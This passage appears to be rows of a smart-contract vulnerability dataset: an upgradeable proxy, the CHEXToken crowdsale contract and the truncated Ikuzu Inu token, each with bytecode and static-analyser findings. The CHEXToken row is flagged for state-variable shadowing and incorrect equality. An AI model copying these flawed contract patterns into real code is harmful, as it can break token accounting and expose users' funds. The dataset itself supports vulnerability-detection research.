* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
/* solium-disable-next-line */
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
/* solium-disable-next-line */
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
)
public
payable
{
assert(
IMPLEMENTATION_SLOT == bytes32(
uint256(keccak256("eip1967.proxy.implementation")) - 1
)
);
_setImplementation(_logic);
if (_data.length > 0) {
/* solium-disable-next-line */
(bool success,) = _logic.delegatecall(_data);
/* solium-disable-next-line */
require(success);
}
assert(
ADMIN_SLOT == bytes32(
uint256(keccak256("eip1967.proxy.admin")) - 1
)
);
_setAdmin(_admin);
}
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () external payable {
_fallback();
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_delegate(_implementation());
}
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
/* solium-disable-next-line */
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
/* solium-disable-next-line */
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
/* solium-disable-next-line */
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
isContract(newImplementation),
"Cannot set a proxy implementation to a non-contract address"
);
bytes32 slot = IMPLEMENTATION_SLOT;
/* solium-disable-next-line */
assembly {
sstore(slot, newImplementation)
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(
newAdmin != address(0),
"Cannot change the admin of a proxy to the zero address"
);
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(
address newImplementation,
bytes calldata data
)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
/* solium-disable-next-line */
(bool success,) = newImplementation.delegatecall(data);
/* solium-disable-next-line */
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
/* solium-disable-next-line */
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
/* solium-disable-next-line */
assembly {
sstore(slot, newAdmin)
}
}
}
| 0x60806040526004361061004a5760003560e01c80633659cfe6146100545780634f1ef286146100875780635c60da1b146101075780638f28397014610138578063f851a4401461016b575b610052610180565b005b34801561006057600080fd5b506100526004803603602081101561007757600080fd5b50356001600160a01b0316610192565b6100526004803603604081101561009d57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100c857600080fd5b8201836020820111156100da57600080fd5b803590602001918460018302840111640100000000831117156100fc57600080fd5b5090925090506101cc565b34801561011357600080fd5b5061011c610279565b604080516001600160a01b039092168252519081900360200190f35b34801561014457600080fd5b506100526004803603602081101561015b57600080fd5b50356001600160a01b03166102b6565b34801561017757600080fd5b5061011c610370565b61019061018b61039b565b6103c0565b565b61019a6103e4565b6001600160a01b0316336001600160a01b031614156101c1576101bc81610409565b6101c9565b6101c9610180565b50565b6101d46103e4565b6001600160a01b0316336001600160a01b0316141561026c576101f683610409565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610253576040519150601f19603f3d011682016040523d82523d6000602084013e610258565b606091505b505090508061026657600080fd5b50610274565b610274610180565b505050565b60006102836103e4565b6001600160a01b0316336001600160a01b031614156102ab576102a461039b565b90506102b3565b6102b3610180565b90565b6102be6103e4565b6001600160a01b0316336001600160a01b031614156101c1576001600160a01b03811661031c5760405162461bcd60e51b81526004018080602001828103825260368152602001806104dc6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103456103e4565b604080516001600160a01b03928316815291841660208301528051918290030190a16101bc81610449565b600061037a6103e4565b6001600160a01b0316336001600160a01b031614156102ab576102a46103e4565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156103df573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6104128161046d565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b610476816104d5565b6104b15760405162461bcd60e51b815260040180806020018281038252603b815260200180610512603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a265627a7a72315820adaa171b0dadd83f811d79d98a406b53316f23f1a2f295fa933b7d36108ebfcf64736f6c63430005100032 | {"success": true, "error": null, "results": {}} | 1,441 |
0x313C54EB9F08f1Be0F18e8ad505135fa7041A52f | pragma solidity ^0.4.11;
/**
* Overflow aware uint math functions.
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function pct(uint numerator, uint denominator, uint precision) internal returns(uint quotient) {
uint _numerator = numerator * 10 ** (precision+1);
uint _quotient = ((_numerator / denominator) + 5) / 10;
return (_quotient);
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
/**
* ERC 20 token
*/
contract Token is SafeMath {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = sub(balances[msg.sender], _value);
balances[_to] = add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] = add(balances[_to], _value);
balances[_from] = sub(balances[_from], _value);
allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value);
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
// A vulernability of the approve method in the ERC20 standard was identified by
// Mikhail Vladimirov and Dmitry Khovratovich here:
// https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM
// It's better to use this method which is not susceptible to over-withdrawing by the approvee.
/// @param _spender The address to approve
/// @param _currentValue The previous value approved, which can be retrieved with allowance(msg.sender, _spender)
/// @param _newValue The new value to approve, this will replace the _currentValue
/// @return bool Whether the approval was a success (see ERC20's `approve`)
function compareAndApprove(address _spender, uint256 _currentValue, uint256 _newValue) public returns(bool) {
if (allowed[msg.sender][_spender] != _currentValue) {
return false;
}
return approve(_spender, _newValue);
}
}
contract CHEXToken is Token {
string public constant name = "CHEX Token";
string public constant symbol = "CHX";
uint public constant decimals = 18;
uint public startBlock; //crowdsale start block
uint public endBlock; //crowdsale end block
address public founder;
address public owner;
uint public totalSupply = 2000000000 * 10**decimals; // 2b tokens, each divided to up to 10^decimals units.
uint public etherCap = 2500000 * 10**decimals;
uint public totalTokens = 0;
uint public presaleSupply = 0;
uint public presaleEtherRaised = 0;
event Buy(address indexed recipient, uint eth, uint chx);
event Deliver(address indexed recipient, uint chx, string _for);
uint public presaleAllocation = totalSupply / 2; //50% of token supply allocated for crowdsale
uint public ecosystemAllocation = totalSupply / 4; //25% of token supply allocated post-crowdsale for the ecosystem fund
uint public reservedAllocation = totalSupply / 4; //25% of token supply allocated post-crowdsale for internal
bool public ecosystemAllocated = false;
uint public constant MIN_ETHER = 10 finney;
enum TokenSaleState {
Initial, //contract initialized, bonus token
Presale, //limited time crowdsale
Live, //default price
Frozen //prevent sale of tokens
}
TokenSaleState public _saleState = TokenSaleState.Initial;
function CHEXToken(address founderInput, address ownerInput, uint startBlockInput, uint endBlockInput) {
founder = founderInput;
owner = ownerInput;
startBlock = startBlockInput;
endBlock = endBlockInput;
updateTokenSaleState();
}
function price() constant returns(uint) {
if (_saleState == TokenSaleState.Initial) return 6001;
if (_saleState == TokenSaleState.Presale) {
uint percentRemaining = pct((endBlock - block.number), (endBlock - startBlock), 3);
return 3000 + 3 * percentRemaining;
}
return 3000;
}
function updateTokenSaleState () {
if (_saleState == TokenSaleState.Frozen) return;
if (_saleState == TokenSaleState.Live && block.number > endBlock) return;
if (_saleState == TokenSaleState.Initial && block.number >= startBlock) {
_saleState = TokenSaleState.Presale;
}
if (_saleState == TokenSaleState.Presale && block.number > endBlock) {
_saleState = TokenSaleState.Live;
}
}
function() payable {
buy(msg.sender);
}
function buy(address recipient) payable {
if (recipient == 0x0) throw;
if (msg.value < MIN_ETHER) throw;
if (_saleState == TokenSaleState.Frozen) throw;
if ((_saleState == TokenSaleState.Initial || _saleState == TokenSaleState.Presale) && presaleSupply >= presaleAllocation) throw;
if ((_saleState == TokenSaleState.Initial || _saleState == TokenSaleState.Presale) && presaleEtherRaised >= etherCap) throw;
updateTokenSaleState();
uint tokens = mul(msg.value, price());
if (tokens <= 0) throw;
balances[recipient] = add(balances[recipient], tokens);
totalTokens = add(totalTokens, tokens);
if (_saleState == TokenSaleState.Initial || _saleState == TokenSaleState.Presale) {
presaleEtherRaised = add(presaleEtherRaised, msg.value);
presaleSupply = add(presaleSupply, tokens);
}
founder.transfer(msg.value);
Transfer(0, recipient, tokens);
Buy(recipient, msg.value, tokens);
}
modifier onlyInternal {
require(msg.sender == owner || msg.sender == founder);
_;
}
function deliver(address recipient, uint tokens, string _for) onlyInternal {
if (tokens <= 0) throw;
if (totalTokens >= totalSupply) throw;
if (_saleState == TokenSaleState.Frozen) throw;
if ((_saleState == TokenSaleState.Initial || _saleState == TokenSaleState.Presale) && presaleSupply >= presaleAllocation) throw;
updateTokenSaleState();
balances[recipient] = add(balances[recipient], tokens);
totalTokens = add(totalTokens, tokens);
if (_saleState == TokenSaleState.Initial || _saleState == TokenSaleState.Presale) {
presaleSupply = add(presaleSupply, tokens);
}
Transfer(0, recipient, tokens);
Deliver(recipient, tokens, _for);
}
function allocateEcosystemTokens() onlyInternal {
if (block.number <= endBlock) throw;
if (ecosystemAllocated) throw;
balances[owner] = add(balances[owner], ecosystemAllocation);
totalTokens = add(totalTokens, ecosystemAllocation);
balances[founder] = add(balances[founder], reservedAllocation);
totalTokens = add(totalTokens, reservedAllocation);
ecosystemAllocated = true;
}
function freeze() onlyInternal {
_saleState = TokenSaleState.Frozen;
}
function unfreeze() onlyInternal {
_saleState = TokenSaleState.Presale;
updateTokenSaleState();
}
function startSalePhase (uint start, uint length) onlyInternal {
if (_saleState == TokenSaleState.Presale) throw;
if (length == 0) throw;
if (start == 0) start = block.number;
startBlock = start;
endBlock = startBlock + length;
updateTokenSaleState();
}
} | 0x606060405236156101935763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101a5578063083c63231461023557806309522d7f14610257578063095ea7b31461027957806318160ddd146102ac57806323b872dd146102ce578063313ce567146103075780633fa1436e1461032957806344b499581461033b57806348cd4cb11461035d5780634d853ee51461037f5780635cd85187146103ab57806362a5af3b146103cd5780636a28f000146103df57806370a08231146103f15780637228b9db1461041f5780637241450c14610441578063751e1079146104a6578063771d9d05146104dc5780637e1c0c091461050057806381d136cb146105225780638da5cb5b14610544578063901cea7b1461057057806395d89b41146105825780639be5ad7814610612578063a035b1fe14610646578063a9059cbb14610668578063b3a196e91461069b578063c0f496ac146106bd578063da649c63146106df578063dd62ed3e146106f7578063f088d5471461072b575b6101a35b6101a033610741565b5b565b005b34156101ad57fe5b6101b56109bb565b6040805160208082528351818301528351919283929083019185019080838382156101fb575b8051825260208311156101fb57601f1990920191602091820191016101db565b505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023d57fe5b6102456109f2565b60408051918252519081900360200190f35b341561025f57fe5b6102456109f8565b60408051918252519081900360200190f35b341561028157fe5b610298600160a060020a03600435166024356109fe565b604080519115158252519081900360200190f35b34156102b457fe5b610245610a69565b60408051918252519081900360200190f35b34156102d657fe5b610298600160a060020a0360043581169060243516604435610a6f565b604080519115158252519081900360200190f35b341561030f57fe5b610245610bc2565b60408051918252519081900360200190f35b341561033157fe5b6101a3610bc7565b005b341561034357fe5b610245610ca8565b60408051918252519081900360200190f35b341561036557fe5b610245610cae565b60408051918252519081900360200190f35b341561038757fe5b61038f610cb4565b60408051600160a060020a039092168252519081900360200190f35b34156103b357fe5b610245610cc3565b60408051918252519081900360200190f35b34156103d557fe5b6101a3610cce565b005b34156103e757fe5b6101a3610d24565b005b34156103f957fe5b610245600160a060020a0360043516610d7e565b60408051918252519081900360200190f35b341561042757fe5b610245610d9d565b60408051918252519081900360200190f35b341561044957fe5b604080516020600460443581810135601f81018490048402850184019095528484526101a3948235600160a060020a0316946024803595606494929391909201918190840183828082843750949650610da395505050505050565b005b34156104ae57fe5b610298600160a060020a0360043516602435604435611006565b604080519115158252519081900360200190f35b34156104e457fe5b610298611050565b604080519115158252519081900360200190f35b341561050857fe5b610245611059565b60408051918252519081900360200190f35b341561052a57fe5b61024561105f565b60408051918252519081900360200190f35b341561054c57fe5b61038f611065565b60408051600160a060020a039092168252519081900360200190f35b341561057857fe5b6101a3611074565b005b341561058a57fe5b6101b5611188565b6040805160208082528351818301528351919283929083019185019080838382156101fb575b8051825260208311156101fb57601f1990920191602091820191016101db565b505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061a57fe5b6106226111bf565b6040518082600381111561063257fe5b60ff16815260200191505060405180910390f35b341561064e57fe5b6102456111cd565b60408051918252519081900360200190f35b341561067057fe5b610298600160a060020a0360043516602435611248565b604080519115158252519081900360200190f35b34156106a357fe5b610245611323565b60408051918252519081900360200190f35b34156106c557fe5b610245611329565b60408051918252519081900360200190f35b34156106e757fe5b6101a360043560243561132f565b005b34156106ff57fe5b610245600160a060020a03600435811690602435166113bc565b60408051918252519081900360200190f35b6101a3600160a060020a0360043516610741565b005b6000600160a060020a03821615156107595760006000fd5b662386f26fc1000034101561076e5760006000fd5b60035b600f54610100900460ff16600381111561078757fe5b14156107935760006000fd5b60005b600f54610100900460ff1660038111156107ac57fe5b14806107ce575060015b600f54610100900460ff1660038111156107cc57fe5b145b80156107de5750600c54600a5410155b156107e95760006000fd5b60005b600f54610100900460ff16600381111561080257fe5b1480610824575060015b600f54610100900460ff16600381111561082257fe5b145b80156108345750600854600b5410155b1561083f5760006000fd5b610847610bc7565b610858346108536111cd565b6113e9565b9050600081116108685760006000fd5b600160a060020a03821660009081526020819052604090205461088b9082611418565b600160a060020a0383166000908152602081905260409020556009546108b19082611418565b60095560005b600f54610100900460ff1660038111156108cd57fe5b14806108ef575060015b600f54610100900460ff1660038111156108ed57fe5b145b1561091457610900600b5434611418565b600b55600a546109109082611418565b600a555b600554604051600160a060020a03909116903480156108fc02916000818181858888f19350505050151561094457fe5b604080518281529051600160a060020a038416916000916000805160206114858339815191529181900360200190a360408051348152602081018390528151600160a060020a038516927f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed928290030190a25b5050565b60408051808201909152600a81527f4348455820546f6b656e00000000000000000000000000000000000000000000602082015281565b60045481565b600e5481565b600160a060020a03338116600081815260016020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60075481565b600160a060020a038316600090815260208190526040812054829010801590610abf5750600160a060020a0380851660009081526001602090815260408083203390941683529290522054829010155b8015610acb5750600082115b15610bb657600160a060020a038316600090815260208190526040902054610af39083611418565b600160a060020a038085166000908152602081905260408082209390935590861681522054610b229083611432565b600160a060020a038086166000908152602081815260408083209490945560018152838220339093168252919091522054610b5d9083611432565b600160a060020a03808616600081815260016020908152604080832033861684528252918290209490945580518681529051928716939192600080516020611485833981519152929181900390910190a3506001610bba565b5060005b5b9392505050565b601281565b60035b600f54610100900460ff166003811115610be057fe5b1415610beb576101a0565b60025b600f54610100900460ff166003811115610c0457fe5b148015610c12575060045443115b15610c1c576101a0565b60005b600f54610100900460ff166003811115610c3557fe5b148015610c4457506003544310155b15610c6157600f80546001919061ff001916610100835b02179055505b60015b600f54610100900460ff166003811115610c7a57fe5b148015610c88575060045443115b156101a057600f80546002919061ff001916610100835b02179055505b5b565b600b5481565b60035481565b600554600160a060020a031681565b662386f26fc1000081565b60065433600160a060020a0390811691161480610cf9575060055433600160a060020a039081169116145b1515610d055760006000fd5b600f80546003919061ff00191661010083610c9f565b02179055505b5b565b60065433600160a060020a0390811691161480610d4f575060055433600160a060020a039081169116145b1515610d5b5760006000fd5b600f80546001919061ff001916610100835b02179055506101a0610bc7565b5b5b565b600160a060020a0381166000908152602081905260409020545b919050565b60085481565b60065433600160a060020a0390811691161480610dce575060055433600160a060020a039081169116145b1515610dda5760006000fd5b60008211610de85760006000fd5b60075460095410610df95760006000fd5b60035b600f54610100900460ff166003811115610e1257fe5b1415610e1e5760006000fd5b60005b600f54610100900460ff166003811115610e3757fe5b1480610e59575060015b600f54610100900460ff166003811115610e5757fe5b145b8015610e695750600c54600a5410155b15610e745760006000fd5b610e7c610bc7565b600160a060020a038316600090815260208190526040902054610e9f9083611418565b600160a060020a038416600090815260208190526040902055600954610ec59083611418565b60095560005b600f54610100900460ff166003811115610ee157fe5b1480610f03575060015b600f54610100900460ff166003811115610f0157fe5b145b15610f1857610f14600a5483611418565b600a555b604080518381529051600160a060020a038516916000916000805160206114858339815191529181900360200190a382600160a060020a03167f13f593817caf9182e118fa99ab8cf9567cba0642e65021633e964cacc8576ef083836040518083815260200180602001828103825283818151815260200191508051906020019080838360008314610fc5575b805182526020831115610fc557601f199092019160209182019101610fa5565b505050905090810190601f168015610ff15780820380516001836020036101000a031916815260200191505b50935050505060405180910390a25b5b505050565b600160a060020a033381166000908152600160209081526040808320938716835292905290812054831461103c57506000610bba565b61104684836109fe565b90505b9392505050565b600f5460ff1681565b60095481565b600c5481565b600654600160a060020a031681565b60065433600160a060020a039081169116148061109f575060055433600160a060020a039081169116145b15156110ab5760006000fd5b60045443116110ba5760006000fd5b600f5460ff16156110cb5760006000fd5b600654600160a060020a0316600090815260208190526040902054600d546110f39190611418565b600654600160a060020a0316600090815260208190526040902055600954600d5461111e9190611418565b600955600554600160a060020a0316600090815260208190526040902054600e546111499190611418565b600554600160a060020a0316600090815260208190526040902055600954600e546111749190611418565b600955600f805460ff191660011790555b5b565b60408051808201909152600381527f4348580000000000000000000000000000000000000000000000000000000000602082015281565b600f54610100900460ff1681565b600080805b600f54610100900460ff1660038111156111e857fe5b14156111f8576117719150611244565b60015b600f54610100900460ff16600381111561121157fe5b141561123e5761122d4360045403600354600454036003611449565b905080600302610bb8019150611244565b610bb891505b5090565b600160a060020a0333166000908152602081905260408120548290108015906112715750600082115b1561131457600160a060020a0333166000908152602081905260409020546112999083611432565b600160a060020a0333811660009081526020819052604080822093909355908516815220546112c89083611418565b600160a060020a038085166000818152602081815260409182902094909455805186815290519193339093169260008051602061148583398151915292918290030190a3506001610a63565b506000610a63565b5b92915050565b600a5481565b600d5481565b60065433600160a060020a039081169116148061135a575060055433600160a060020a039081169116145b15156113665760006000fd5b60015b600f54610100900460ff16600381111561137f57fe5b141561138b5760006000fd5b8015156113985760006000fd5b8115156113a3574391505b60038290558082016004556109b7610bc7565b5b5b5050565b600160a060020a038083166000908152600160209081526040808320938516835292905220545b92915050565b6000828202831580611405575082848281151561140257fe5b04145b151561140d57fe5b8091505b5092915050565b60008282018381101561140d57fe5b8091505b5092915050565b60008282111561143e57fe5b508082035b92915050565b60006000600083600101600a0a86029150600a858381151561146757fe5b0460050181151561147457fe5b0490508092505b505093925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582080e498d505b40b4af1ea2a0fbc6d39b493198e9bcc40e9e5bd1df4b834d70c110029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 1,442 |
0x670d07857d90fec8c47abae390caed0cb08dee63 | /**
*Submitted for verification at Etherscan.io on 2022-04-28
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
/**
IKUZU INU ERC20 ANIME TOKEN
https://t.me/IkuzuInu
Supply: 1,000,000,000,000 (100%)
Burn: 500,000,000,000 (50%)
Max wallet: 2.5%
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Ikuzu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ikuzu Inu";
string private constant _symbol = "IKUZU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 2;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 2;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x39b20D93285372368D43B5b30FFf0e3b87248116);
address payable private _marketingAddress = payable(0xA0Ddb46514A868fF139516EdF4Cfb20D992d520f);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 25000000000 * 10**9;
uint256 public _maxWalletSize = 25000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
